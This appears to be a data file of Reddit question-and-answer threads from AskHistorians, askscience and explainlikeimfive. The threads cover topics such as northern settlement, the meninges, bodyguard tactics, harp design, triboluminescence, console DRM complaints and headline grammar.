{"q_id": "29ovj8", "title": "Why did people settle in the north, Scandinavia and similar northern regions of the world?", "selftext": "For example Norway, Sweden and northern Russia. Why did people live there, especially in Norway, where the surrounding climate was so terribly hostile? What caused them to stay, were there just not any other parts of Europe and Asia where they felt that they could stay (as in, being outlaws, fanting to be seperate, etc.)?\n\nThank you so much in advance. This has been bugging me for a while, why my ancestors bothered living here!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29ovj8/why_did_people_settle_in_the_north_scandinavia/", "answers": {"a_id": ["cin31go", "cin40ve"], "score": [4, 3], "text": ["People generally went where food was more plentiful and where competition with other peoples/tribes was less intense. Climate in the far north may be harsher, but it is easier to adapt to than a lack of wild animals to hunt or hostile enemy tribes waging war on you. Also, it is important to keep in mind that people who migrated north probably did so very gradually. It is unlikely that they moved from Africa straight to Norway in a short amount of time. More likely, the migration took multiple generations as they moved through Europe, so the change in climate would not appear very stark or sudden. Finally, once they settled in a certain area, they developed technology and adaptations that would help them survive there - things like more insulated homes, warmer clothes, ways to hunt and fish local species more efficiently - and that caused them to stay there. ", "hi! this question may be a better fit for /r/AskAnthropology, but FYI there have been a few related questions in here before, so get started on previous responses:\n\n[Why did a lot of humans settle in cold climates, when humans are more comfortable in warmer climates?](_URL_1_)\n\n[What made native people choose the inhospitable places in which they live?](_URL_0_)\n\n[Why did humans leave warm or temperate zones and migrate to colder climates?](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/19nz2m/what_made_native_people_choose_the_inhospitable/", "http://www.reddit.com/r/AskHistorians/comments/1c9xov/why_did_a_lot_of_humans_settle_in_cold_climates/", "http://www.reddit.com/r/AskHistorians/comments/161ivs/why_did_humans_leave_warm_or_temperate_zones_and/"]]}
{"q_id": "24i5sm", "title": "What exactly keeps our brains 'in place,' and not from smashing into the skull all the time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24i5sm/what_exactly_keeps_our_brains_in_place_and_not/", "answers": {"a_id": ["ch7d8kp", "ch7l4af", "ch7l6p8", "ch7mgue", "ch7oyx6", "ch7poxd", "ch7w6b8"], "score": [614, 71, 25, 4, 8, 2, 4], "text": ["There are a series of 3 membranes, known as the meninges. The outermost is a thick layer lining and attached to the skull, the dura mater. Directly against and attached to the brain is the pia mater. In between these two is the arachnoid mater, a very loose membrane attaching the other two.\n\nEdit: Thanks Greg. We should be friends.\n\nEdit: People keep asking about meningitis. Meningitis is a swelling of the meninges, often caused by infection. The stuff is *super deadly,* especially the bacterial form. It can kill in just a couple days. Imagine you wake up at your dorm, attend a few classes, then get a little headache so you turn in early. And never wake up again. Its usually transferred through saliva. Good thing there's a vaccine for it. Many universities demand vaccination prior to attendance, and even if they don't, it's recommended you do. Look into your school's health coverage if they don't, it might cover most of the cost of vaccination, as well as some other needs.", "Actually they do \"smash\" into the skull all the time. \n\nWhilst meninges do surround the brain as correctly described, within the dura mater - the brain swims around freely attached \"in place\" only by the veins that connect it to the top (bridge veins to superior saggital sinus). \n\nWhen we are dehydrated after a long night of drinking (or with age), our brain shrinks and \"hangs on\" via these veins. Deceleration trauma (car crash etc) tears out the veins much easier then. This is why risk of subdural (under dura mater) haematoma (bleeding) is more common in the elderly, dehydrated and people with a hangover.", "Mostly been answered, but I'd like to add a fun fact: Sometimes in car crashes or other sudden jerks, your brain gets cushioned but bounces back and hits your skull on the other side. ie, if you fall back really fast, you hit the back of your skull but your brain hits the front of your skull. This results in damage on the opposite side of your head - there's a term for this but I never paid much attention in class.\n", "The topic of the brain smashing around requires some thought. Is the brain more dense, or less dense, than the CSF (which is effectively the same density as water)?\n  \nIf the brain is less dense, a front impact would push the brain rearward, and vice versa. Just like a helium balloon in a car when you touch the brakes.  \n  \nSecondly, the brain is surrounded by CSF, which is incompressible. Only the density differences will lead to movement of the brain, and these are substantially smaller than the weight. For example, consider a bottle of water that contains a globule of fat on the top. The bottle is completely full, no air. Shake the bottle around and try to move the globule of fat around. That's a reasonable way to think about the brain smashing around.   \n  \nObviously when the accelerations are substantial enough, the brain DOES move around and the brain's dura and meninges do restrict the movement. The dura is pretty tough, but the meninges are effectively useless as a physical barrier. \n  \nSource: brain surgeon and researcher\n\nEdit: brain total density estimate 0.8 g/cm^3", "The answer is a combination of things, but generally the rigidity of your rhombencephalon and mesencehpalon as well as the corpus callosum. These regions, structurally, are very rigid and act as fixed hubs for the rest of the squishy brain. While the brain is attached to the arachnoid space, dura and all that, and those structures DO bounce against the inner surface of the skull a little bit, what prevents the brain from smashing against the surface all the time (and help it preserve internal shape and tone) is thicker, white mattery structures. It's held in place by these structures internally that control how much \"give\" the gray matter will be given. If I asked you to hold the brain of a healthy 50 year old and a 50 year old with a demyleinating disease, you'd know instantly because the MS patients brain is far too soft. Gray matter represents the heads of neurons, while white matter represents the fatty myelin of neurons (when you open the brain, grey matter is pink, white matter is white; in MRI, T1 gray matter is gray, white is white)\n\nPretend your brain is a giant floating vat of jello. Your corpus callosum is like a thin piece of steak in the center of the jello, your rhombencephalon (medulla oblangata, pons etc...) is a pineapple core attached to the bottom of the bowl which is also loosely attached to the corpus callosum (from the MANY brains i've physically held I would say this to be true). If you're shaking that jello around, it will likely remain stuck to the those regions than SEPARATE from those regions and bounce against the surface. However, let's say you get hit really hard and your jello DOES separate somewhat from the steak, or other steak-like structures. That's what happens in traumatic brain injury, football, boxing etc... What would happen is you may not only damage the jello hitting the bowl, but you can also damage the jello separating (or pulling hard enough to cause damage) from the internal rigid structures. This can sometimes present itself as diffuse axonal injury (DAI) and contributes to the mosaic of reasons why one should not be hit in the head. \n\nNeuroanatomy is really fascinating, if only to realize that our being, our souls, our faults, our desires, our quirks and our spirit is a loosely held together collection of blood and fat that conducts electricity...poorly.", "I can't believe that no-one has raised the topic of coup and contrecoup injuries which ARE the result of your brain smashing into your skull.  These are typically a result of professional sports, car accidents, fights, etc. and result in significant brain damage:\n\n_URL_0_", "Hi, pathology resident with an undergrad in physics here, I cut the brains out of people who die of trauma on a routine basis and look at them under the microscope on my desk here. Incidentally, I got into medicine because I was riding my bicycle home and woke up in the street having been hit by a car.\n\nYour brain smashes into your skull all the time. Just shake your head a little bit, you can feel it.\n\nMore importantly, why does your brain rattling around not kill you? Well, first, it's all about acceleration and force. Injury does not occur until the load exceeds a failure strength of something: a blood vessel, neurons, microtubules, the skull, etc. Even then, the first thing that usually gets disrupted is the delicate balance of electrical activity we call consciousness. And this alone kills a lot of people, like, say, a diver who gets hit in the head while underwater, or a driver who looses consciousness in a burning vehicle.\n\nVascular disruption is the most common traumatic killer. Even a massive skull injury doesn't kill the brain. What kills the brain is pressure buildup as arterial blood flows in under pressure, which changes the delicate balance of inflow of nutrients and outflow of toxins. The neurons finally die when they drop the potential gradient across the membrane and metabolically lack the reserve to restore it.\n\nDiffuse neuronal injury is less well understood. I can talk to our neuropathologist about it if there are questions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Coup_contrecoup_injury"], []]}
{"q_id": "ai8w14", "title": "are bodyguards really expected to take a bullet for their client?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ai8w14/eli5_are_bodyguards_really_expected_to_take_a/", "answers": {"a_id": ["eelym06", "eem0gf2", "eem0ob4", "eem39y9", "eem4boz", "eem4m3u", "eem680f", "eem6do7", "eem6jgl", "eem7317", "eem7noa", "eem7rfm", "eem7ubu", "eem8b44", "eem9e3q", "eemaosu", "eemavo4", "eemfn2n"], "score": [723, 248, 160, 26, 14, 41, 2, 12, 2, 2, 9, 6, 2, 5, 3, 2, 2, 2], "text": ["Sort of but not quite. The job description of a body guard is to protect their client. This may include putting yourself into a dangerous position where you might get killed although it is preferable if nobody gets killed. Nobody would ever expect that a bodyguard is required to get himself shot if the client is shot at. But that is something which might happen while he is trying to protect his client instead of running away.", "are bodyguards required to bond with you emotionally and carry you in their arms through a wall of hostile paparazzis?", "No one is so fast that they can see a bullet coming and step in front of it. Bodyguards stand in front of their client and act as a wall or shield. An assassin who wishes to shoot the client can't get a clear shot. In most instances this means that they don't take the shot. Killing or wounding a bodyguard doesn't really help. The other bodyguards will swarm and cover the client and get them into cover. \n\nBodyguards put themselves in the line of fire in a general sense. They may and sometimes do get shot by accident because they are standing next to someone who is a target. They don't jump or dive in front of a bullet like in the movies. They are already standing in front of or next to the target usually. ", "One of the coolest interactions was a member of Reagans Secret Service Agents, (Timothy McCarthy) who made himself a larger target to protect the former POTUS, obviously it was against his natural instinct but he did it out of muscle memory to make himself a bigger target when to sound of shots rang out. \n\nGoing a bit off track here but this is also why Presidents often have large covers over the entrances and motorcades they get in to avoid these easy lines of sight on targets.\n", "Ok.  Lots of bad info in this thread.  \n\nThe presidents security detail is more than just \u201cbodyguards\u201d.  They\u2019re secret service. The secret service presidential detail is the epoch of disciplined and experienced military. They are absolutely concerned about getting between a shooter and the president, no matter who that president is or what they believe. \n\nNotice I said \u201cbetween a shooter and the president\u201d and not \u201ctake a bullet\u201d. \n\nThis is because taking a bullet is the last thing that should happen.  Every single decision the secret service makes- from their dress and their press releases to their position when opening the doors of the limo- is made to prevent a gunman from having and taking a shot. \n\nThis gives us a clue what other body guards are doing. They aren\u2019t there in case a person tries to shoot or attack their client. They are their to prevent someone trying that in the first place. Observing crowds for people acting strangely, broadcasting a sense of protection for the client, making sure that the client doesn\u2019t go into a dangerous spot, making sure a room is clear before the client comes in, all of that is what a bodyguard does. ", "Im no expert but i did watch a doco when a president of the U.S was being shot at and the secret services literally jumped on top of him to protect him with their bodies. But obviously these guys aren\u2019t typical body guards. Im a bit vague on details as I don\u2019t remember the doco name or what president it was but fairly confident this happened. Maybe someone can clarify what I\u2019m talking about?", "There is a big difference between professional big and the secret service. The secret service (nearly abbreviated there and decided not too) are trained to get in the way of a bullet. Pro bg\u2019s try t9 keep there charges from being 8n a position to get shot in the first place.", "I have a friend who was (might still be, I dunno) a body guard for a very wealthy client.\n\nHe said based on the client's wishes, he was more PA than body guard.\n\nI think part of the client hated the idea of just paying somebody to follow him around, so he'd make him do stuff not related to his actual \"job\".\n\nIf I were a betting man, Is say he existed to lower insurance rates, not actually do anything.", "Everything explained here is true, but most of it talks about POTUS. Let's say someone is protecting the CEO of a shady company. Let's say it's someone rich, important, and a bad person. The \"bodyguard's\" job is to protect that person. If that person gets shot, the bodyguard is out of a job. No one in the biz wants to hire someone that had a principal get shot on their watch. In the end of the day, it's a feeling of duty because you're getting paid to do something, and it's a matter of keeping your career from falling apart. ", "On Netflix there is the series \"Bodyguard\" , not sure how realistic it is, but the bodyguard (the protaganist) was protecting someone he definitely did not agree with. It might be interesting in light of your question @OP.\n\nCan anyone say how realistic it was? At least some tactics operations seemed to be. Allthough I doubt  > !some bodyguard gets to sleep next  door to the client.! < ", " \"I better throw myself into that bullet, or else I'll be FIRED.\"\n\nI think this pretty much sums up the \"dilemma\" a bodyguard is facing when deciding if he wants to catch a bullet for his client.", "As many have pointed out heres a big difference between hired security and secret service. And the misconception about \"taking a bullet\". The one somewhat exception I want to bring up is the fighter escorts for Air Force One. They pull from elite volunteers (its prestiges lets be real) who are always briefed and understand that should built in anti aircraft counter measures fail it is 100% their duty to put their jet in the way and eat that fucking missile.  To Valhalla they would go. \n\nGranted as far as im aware Air Force One has never been targeted even in dicier air space. But dont quote me!", "I'm military, known a few guys in close protection. Some of these guys do actually wanna be heroes. Like, they would think it'd be epic to be that guy to save someone. A lot of them think they are kinda invincible(like supreme confidence) so there's that too. They are trained to put themselves between client and threat, and in a lot of stressful situations, you end up defaulting to your training. If I was part of a close protection detail, and had backup, I'd like to imagine I would cover/obscure the client, while ushering them to safety", "Yes.  My father went to DC for secret service training.  They asked if he\u2019d be willing to take a bullet for Carter (pres at the time) and he said \u201cno\u201d, it disqualified him and they sent him packing.", "No. They are expected to follow an exact procedure in case of an attack, which does include covering the VIP with your own body, but it isn't \"expected of you\" to take a bullet. \n\nLet's look at weaponry bodyguards carry. Often, it's a pistol, however just as often it is an automatic handgun, or a small, concealable SMG/PDW. In history of automatic short weapons, accuracy wasn't ever praised, and that is because they aren't supposed to be accurate. A scenario: walking down the hallway. Someone on the other end appears and draws a firearm on the group. What bodyguards here want is a quick, superior firepower. They aren't aiming much, they aren't shooting the kneecaps off - the whole goal is to get as much rounds possible down the hallway towards the assailant, prefferably a barrage of high firerate weapons. In military they would call this \"achieving superior firepower\". This, essentially, is a powerful deterrent. No matter who it is, if met with 3 Glocks 18, fully automatic and high firerate, shooting straight at him with very omnious sounds guns that muzzle flash in a fancy way, he will be scared. If it hits, great, but bodyguards are to deter long enough to move the VIP to a more defensible position. \n\nLet's look at tactics. In case of an attack, bodyguards will position themselves between the target and the assailant. Nobody really does this to take a bullet first, it's not the main idea. Main idea is to obscure the target from sight (can't shoot what you can't see), and because being ahead generally gives you a completely clear, albeit exposed firing position. With the VIP behind your back, you can unleash hell down the hallway without thinking. While this is taking place, one or two guys that are picked beforehand are going to make the VIP cower and run. In most cases, they will run straight to the car, which is the best way to move out of the danger zone, keep the VIP moving fast (thus harder to hit), and it's often bulletproof. In case a car is not available or close, they will assume a defensive position and wait for armed response. Defensive position being, for example, bathroom. You can hide the VIP behind hard cover or at least put him in a stall, and you can utilize multiple firearms to deny access through what is usually the sole approach - the door. Anything that comes up there will be met with a furious barrage, and no matter how done with life assailant is, it is a pretty strong deterrent. \n\nSo, in general, the protocol is to make the VIP cower, make him run, and assume positions that do ultimately put bodyguard in the line of fire, but not so he can \"take a bullet\", but because in tactical terms, it is the best way, proven in experience. In case a situation like this is reviewed because VIP was shot, the fact that bodyguard didn't protect the VIP with his body won't be a problem, problem will be if anyone deviated from predetermined procedure. In essence, bodyguards are a deterrent, a catalyst for an average man/woman that will most likely freeze under stress (0.2 seconds is a very big deal here), and they are an armed force that is supposed to hold the assailant at bay long enough for VIP to escape, regardless of the fact that this timeframe is usually one or less than one magazine. They are expected to get shot just as much as in any firefight, and follow procedure to the point.", "Bodyguards and the Secret Service are two entirely different ideas. Traditional bodyguards will probably do their best to save a client but aren\u2019t gonna die for him/her. The Secret Service are quite a bit more hardcore and take their job very seriously, they are some of the most patriotic people and will protect POTUS at all costs, even if it means their lives. ", "As someone with a relative formerly in the Secret Service, yes, those on the security detail for POTUS or other high ranking protectees are literally tasked with shielding them with their body.\n\nWatch the video of the Reagan shooting and immediately 3-4 agents basically swarm the president while a few others go after the shooter. They are absolutely going to take a bullet (and most of them are wearing body armor).\n\nAs for private security guards, I would imagine that would probably depend on the bodyguard's contract and would probably be impacted by the price they charge.", "So did WPPS security for contracting companies like AEGIS and Triple Canopy for about 3 years after 5 years in the marine corps.  I also did high level security for officers, diplomats, politicians, and ambassadors during this time.\n\nIt is not \u201crequired\u201d, but it is \u201cexpected\u201d within the scope of the job and tactics.\n\nThe best way to explain it is through movement of the \u201cprinciple\u201d or client being protected.\n\nWhen walking around we make a square around the person, spread out.  Anywhere from 5-15 meters, with one extra person within the square, behind the client only about 1 meter away.  If someone starts shooting, explosion happens, anything, the square collapses onto the client, with their backs facing away from the client.  This way all the body armor surrounds the client on all sides.  The person directly behind the client literally grabs their belt/waist and directs the client where to walk/run within this \u201cturtle shell.\n\nThe second example is protection in a building.\n\nThis is called \u201chard pointing\u201d.  \n\nIf we are protecting someone and cannot run away, we run them into the closest building.  When we get into the building, we radio for help and then take the client to a room with one entrance that is very secure.  Usually the bathroom.\n\nMinimum of two of us pin the client into the corner of the room.  Think doing a leg press with the client crouching behind you.  The rest of the team secures the pathways to the \u201chard point\u201d room.  \n\nSo same thing. \n\nIf someone shoots at the client, they hit us first.  \n\nIt is not like the movies where we see a gun and jump in front of the client.  We see a \u201cthreat\u201d, collapse and make a shield around the client, then run to the safest place as soon as possible.  \n\nIf you\u2019re doing your job properly, the we will be shot (hopefully in our ballistic gear) before the client gets hit.\n\nI hope this explains how high level \u201cbody guards\u201d work in real life.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "54cmie", "title": "why do harps have that curve at the top?", "selftext": "Doesn't that create discrepancies in the lengths of the strings? Wouldn't it make the harp harder to play because pitches are switched around?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/54cmie/eli5why_do_harps_have_that_curve_at_the_top/", "answers": {"a_id": ["d80po60", "d80s68u"], "score": [39, 47], "text": ["Discrepancies in the length of the string are how you get them tuned to different pitches. Why do you think they would all be the same length? ", "If you used the same type of string for every note, then there would have to be a geometric curve as the length would need to double every twelve notes. Over a few octaves this would be unworkable because you'd end up with a 12 foot high harp.\n\nLuckily, there's more ways to change the pitch of a string than to change its length. You can also change the thickness of it. However, thicker strings don't produce as nice a sound as thinner ones, so you have to strike a balance.\n\nThat balance is struck by having a curve. You can choose the curve with various criteria including making it pretty, making it sound a certain way, and also lining up a particular fraction of the length of the strings which is the optimum plucking point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "74520a", "title": "what's the projectile difference between an aluminum and wooden baseball bat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/74520a/eli5_whats_the_projectile_difference_between_an/", "answers": {"a_id": ["dnvkrkq", "dnvmzhq"], "score": [4, 2], "text": ["Here's an article explaining it: _URL_0_\n\ntl;dr: aluminum bats can be swung faster because they're lighter, they have bigger sweet spots which make hitting farther easier, and they don't break/splinter like wooden bats.", "What is the physics behind a ball hit with an aluminum vs wooden bat\nWhy does one go further than the other "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.acs.psu.edu/drussell/bats/alumwood.html"], []]}
{"q_id": "1mj1kr", "title": "Why do the faces in this gif seem alien and distorted when seen in the peripheral vision, but normal when viewed head on? What's going on here?", "selftext": "[This gif](_URL_0_), which I ran across elsewhere, asks people to look at a fixed point in the middle of the screen while photos of famous faces flip past in the viewer's peripheral vision. \n\nThe results are honestly kinda shocking. Suddenly, the faces seem warped and even alien looking -- so much so that I had to go back and let the gif play again just to make sure I wasn't being tricked. \n\nWhat's going on here? Is this an eye thing, or a brain thing? If it's a trick of the brain or eye, why don't faces passing through my peripheral vision while walking on the street look warped and strange like this? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mj1kr/why_do_the_faces_in_this_gif_seem_alien_and/", "answers": {"a_id": ["cc9qn69", "cca7zwm"], "score": [18, 2], "text": ["Here is what Matthew B. Thompson, the researcher behind this says (see link [here](_URL_0_) for more):\n\n > The effect seems to depend on processing each face in light of the others. By aligning the faces at the eyes and presenting them quickly, it becomes much easier to compare them, so the differences between the faces are more extreme. If someone has a large jaw, it looks almost ogre-like. If they have an especially large forehead, then it looks particularly bulbous. We\u2019re conducting several experiments right now to figure out exactly what\u2019s causing this effect, so watch this space!\n\nBut don't just rely on what he says. There are explanations I was able to rule out experimentally before I found this link.  I find I can get the effect with both images visible and both my eyes open; both images visible and only one eye open (whether or right or left); one image visible (whether right or left) and both eyes open; and one image visible (whether right or left) and one eye open (whether right or left).  Assuming I'm not an anomaly and others have the same experience (I'd want to know for sure if that's the case), this indicates to me that it's not a binocular vision effect, nor is it an effect of the left and right images somehow interfering with each other perceptually.\n\nIt also seemed (but here I wasn't sure) that the effect did not kick in till the second image in the sequence, suggesting it was some kind of comparative effect.\n", "Oh, this is one of my favorite 'illusions' - I show it at parties and people freak out.  \n\n[Here's a link to the original paper](_URL_1_)\n\n[The video example that I show (I think the effect is stronger in this one)](_URL_0_)\n\nFishify's quote touches on why this happens - that when we're presented with conflicting face information, differences between the faces seem exaggerated to the point of caricature .\n\nIt is a brain thing.  This explanation relies on the fact that faces are processed top-down.  That is, human beings are very good at discriminating faces - think about it, you can differentiate between any two humans based on what can be remarkably small variations.  When we look at faces, we process it as a whole, looking at salient features like intraoccular distance, and we use that information to fill in what the face looks like.  \n\nFaces passing through your peripheral vision don't normally do this because you aren't normally attending to multiple individual faces at once, whereas the illusion actually has you focusing on two faces at once."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/opNnoOx"], "answers_urls": [["http://www.perceptionweb.com/abstract.cgi?id=p6968"], ["http://www.youtube.com/watch?v=wM6lGNhPujE", "http://www.perceptionweb.com/abstract.cgi?id=p6968"]]}
{"q_id": "ajdgqw", "title": "What causes Triboluminescence, where sparks appear when glass or hardened sugar for example is shattered?", "selftext": "Edit: video example: _URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ajdgqw/what_causes_triboluminescence_where_sparks_appear/", "answers": {"a_id": ["eev3tws", "eev6mny"], "score": [49, 206], "text": ["From what I can read, it is caused by electrical charges being separated in the breaking process(atoms being separated from some of its electrons). This causes potential build-ups which in turn causes the electrical arcing observed.\n\nBasically it seems like \"static electrical buildups\" caused by the breaking of the crystals.", "All of this is from [here](_URL_0_)\n\nTriboluminescence is light produced while striking or rubbing two pieces of a special material together. It is basically light from friction, as the term comes from the Greek tribein, meaning \"to rub,\" and the Latin prefix lumin, meaning \"light\". In general, luminescence occurs when energy is input into atoms from heat, friction, electricity, or other sources. The electrons in the atom absorb this energy. When the electrons return to their usual state, the energy is released in the form of light.\n\nThe spectrum of the light produced from the triboluminescence of sugar (sucrose) is the same as the spectrum of lightning. Lightning originates from a flow of electrons passing through the air, exciting the electrons of nitrogen molecules (the primary component of air), which emit blue light as they release their energy. Triboluminescence of sugar can be thought of as lightning on a very small scale. When a sugar crystal is stressed, the positive and negative charges in the crystal are separated, generating an electric potential. When enough charge has accumulated, the electrons jump across a fracture in the crystal, colliding with \u200bexciting electrons in the nitrogen molecules. Most of the light emitted by the nitrogen in the air is ultraviolet, but a small fraction is in the visible region. To most people, the emission appears bluish-white, although some people discern a blue-green color (human color vision in the dark is not very good).\n\nThe emission from wintergreen candy is much brighter than that of sucrose alone because wintergreen flavor (methyl salicylate) is fluorescent. Methyl salicylate absorbs ultraviolet light in the same spectral region as the lightning emissions generated by the sugar. The methyl salicylate electrons become excited and emit blue light. Much more of the wintergreen emission than the original sugar emission is in the visible region of the spectrum, so wintergreen light seems brighter than sucrose light.\n"]}, "title_urls": [], "selftext_urls": ["https://youtu.be/k5MORochIDw?t=152"], "answers_urls": [[], ["https://www.thoughtco.com/why-wintergreen-lifesavers-spark-in-the-dark-602179"]]}
{"q_id": "1fv19h", "title": "why are people hating on xbox one and ps4?", "selftext": "I'm not a gamer at all, im just curious.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1fv19h/eli5_why_are_people_hating_on_xbox_one_and_ps4/", "answers": {"a_id": ["cae297h", "cae2i1r", "cae3fox", "cae5e5x", "cae6zi2", "caec2xz"], "score": [38, 2, 12, 9, 12, 6], "text": ["Imagine if nothing you paid for belonged to you, anymore. Imagine if you needed to pass a security check before you could use it, and there were rules about how you could lend it to a friend. \n\nNow imagine that everything you bought was more expensive than it needed to be. Imagine if the only reason that Microsoft was doing all of this was to squeeze as much profits out of you as possible, while ignoring criticisms from Japan and Europe - setting their console up for failure outside of America. \n\nAre we having fun yet? \n\nSomeone else will need to explain what's wrong with the PS4. ", "Basically this video, but with some details about what they're complaining about being slightly different: _URL_0_", "Without going into specifics about both systems, the main issues are two-fold in my opinion.\n\n* The security they're implementing on these consoles is ridiculous, especially on the xbox. There are a lot of requirements to play games, and a lot of can-and-can't do's that gamers have been able to do since gamings inception (like lending game discs to a friend so they can play single player). \n\n* the lack of focus on GAMING. These are supposed to be game consoles, but more and more the systems are turning into \"media consoles that can also play games\". There's no focus on high end graphics, support for great games and new hardware to innovate. They're basically just computers which excel at social media integration in gaming. Things like hitting a button to post your high score to your FB status. While a neat feature (if you're into bragging on facebook), it does nothing to support GAMING. It's being done to try and attract a broader market, but to gamers who have been playing games for years, it just waters down the experience.", "I haven't heard much of anything about the PS4.  As for the Xbox One, [here's a good description](_URL_0_) of the complaints about the console from /r/gaming. ", "Wow...I dont even own a console and this sounds like a shit situation for all you gamers out there, i'm sorry. Well thank you redditors, I now have a better understanding on this. Looks like im getting a 64!", "Imagine that you bought a house, and bought a lot of stuff for that house.  You own the house and all of the stuff in it. You can do whatever you want with the house and with your stuff.  Every 5-8 years, an upgrade comes out where you can re-model your house in 10 minutes with all sorts of new features and technology. \n\nNow one year, the new upgrade comes out.  The company that makes the upgrades says that in order to use it, you have to re-buy all of your stuff that you own because your old stuff won't work in the upgraded house.  In addition to that, all the new stuff you have to buy for your house isn't actually yours.  The company lets you use it as long as you pass all of their security checks to make sure you aren't stealing your new stuff from bad places.\n\nIn addition, Your house can now drive you to work, so you don't need your car.  It's not really something that you want or need, but OK.  Your house needs to be connected to the internet so the company can check if you're stealing.  If the company can't connect to your house, they shut it down.  You can't use any of the stuff inside of it, and the only thing it can do until the company can connect to your house is drive you to work, which you don't even use because you already have a car.\n\nNow, you might think, 'Oh, well why don't I just not get the upgrade?' \nThat will work for maybe a year or two after the upgrade is released.  After that, the various companies that make stuff for your house will stop making stuff that works with your old version and only make stuff for the new version.\n\nThe house is your Xbox 360\nthe upgrade is your Xbox One\nthe stuff is your games\nthe company is Microsoft\nthe car is your TV cable box/bluray player\n\nYou can't tell me that this doesn't bother you.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=rlL09nriFfk&amp;feature=youtube_gdata_player"], [], ["http://www.abload.de/img/drm4yjrw.png"], [], []]}
{"q_id": "3bgd12", "title": "why can i remember something one day and then a different day not be able to? like monday i study for a test and can fully understand everything i study, then the test comes tuesday and i cant recall what i knew only a few hours before. what causes that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bgd12/eli5_why_can_i_remember_something_one_day_and/", "answers": {"a_id": ["cslvt3k"], "score": [3], "text": ["From what I *recall* from some psychology classes I took:\n\nMemory has 3 stages: encoding, storage, and retrieval.\n\nEncoding is when you learn something and commit it to memory. Storage is obviously keeping all of those *somethings* inside your memory, and retrieval is pulling them out to use them (like on a test.)\n\nFailure can occur at any stage of the process. An encoding failure would mean that your brain was never even able to record something, like if you weren't paying attention in class. A storage failure would be memory decaying over time - obviously, we forget some details about past events. A retrieval failure is when you aren't able to recall something you know, even though it's stored in your memory. So, when you forget something on an exam, even though you're sure that you know it, that's a retrieval failure. Retrieval failures often produce the \"it's on the tip-of-my-tongue\" feeling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jvjve", "title": "why does american english grammar occasionally use a comma instead of \"and\"?", "selftext": "I see it relatively often on Reddit, usually when listing things. For example, a front page thread at the moment is titled \"Cyberscare: Ex-NSA chief calls transparency groups, hackers next terrorists\". This makes very little grammatical sense to me... shouldn't it be \"Transparency groups *and* hackers next terrorists\"? Whenever I see a comma, I imagine a pause in the sentence. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jvjve/eli5_why_does_american_english_grammar/", "answers": {"a_id": ["cbipe5l", "cbipe9m", "cbipsqm", "cbiq9lm"], "score": [25, 4, 2, 8], "text": ["It's usually used in headlines to save space. In a headline, a comma uses way less space than the word \"and.\"\n\nAlso, in your example, it emphasizes that each item in the set is being directly and individually implicated. The Ex-NSA chief says transparency groups are the next terrorists. He also says Hackers are the next terrorists. He isn't necessarily saying \"transparency groups and hackers, acting in concert, are the next terrorists.\" So there is more clarity than if it had just said \"transparency groups and hackers are the next terrorists\"", "It's mostly done in headlines for the sake of brevity. You're right that it's not grammatically correct, but headlines are usually considered exempt from normal grammar rules, because when you're designing how your newspaper/website will look, sometimes those extra three characters from using \" and\" instead of \", \" make all the difference in whether or not your layout will work.", "Also done for drama.  \"Rampant incorrect grammar usage, update at 11:00\"", "This is [headlinese](_URL_0_), which its own set of grammatical conventions. The Wikipedia page I have linked to mentions exactly the point you make."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Headlinese"]]}
{"q_id": "a2wc5u", "title": "why do american documentaries mostly use football fields as a form of measurement instead of miles or kilometers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2wc5u/eli5_why_do_american_documentaries_mostly_use/", "answers": {"a_id": ["eb1n3fl", "eb1n9is", "eb1ospj"], "score": [11, 3, 3], "text": ["Probably because football is a very popular sport in America and it's easier to judge that distance based on constant viewing of what the field size is, saying one mile isn't very helpful because it's hard to see an actual mile so this is a easier visual aid.", "A lot of people may have a hard time visualizing an abstract unit of distance. Most peoe can visually imagine how big a football field is. So by saying something is 3 football fields away, it's easier to get a sense of how far that is instead of saying something is 300 yards away. \n\nAlso, America has a lot of different measurements for distance (yards, feet, miles) which don't convert equally to each other. Again, it just helps to visualizing when trying to convey a distance.  ", "This is because Football is integral to American Culture. EVERY High School has a football field that everyone at some point in time has been on or interacted with. We are taught that a yard is 3ft so the size of football field is 300 feet. It's just easier for us to visualize the size of things. Also, the use of saying something is X amount of football fields is used for dramatic effect (\"WOW thats huge its 10 footballs fields long!\"). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
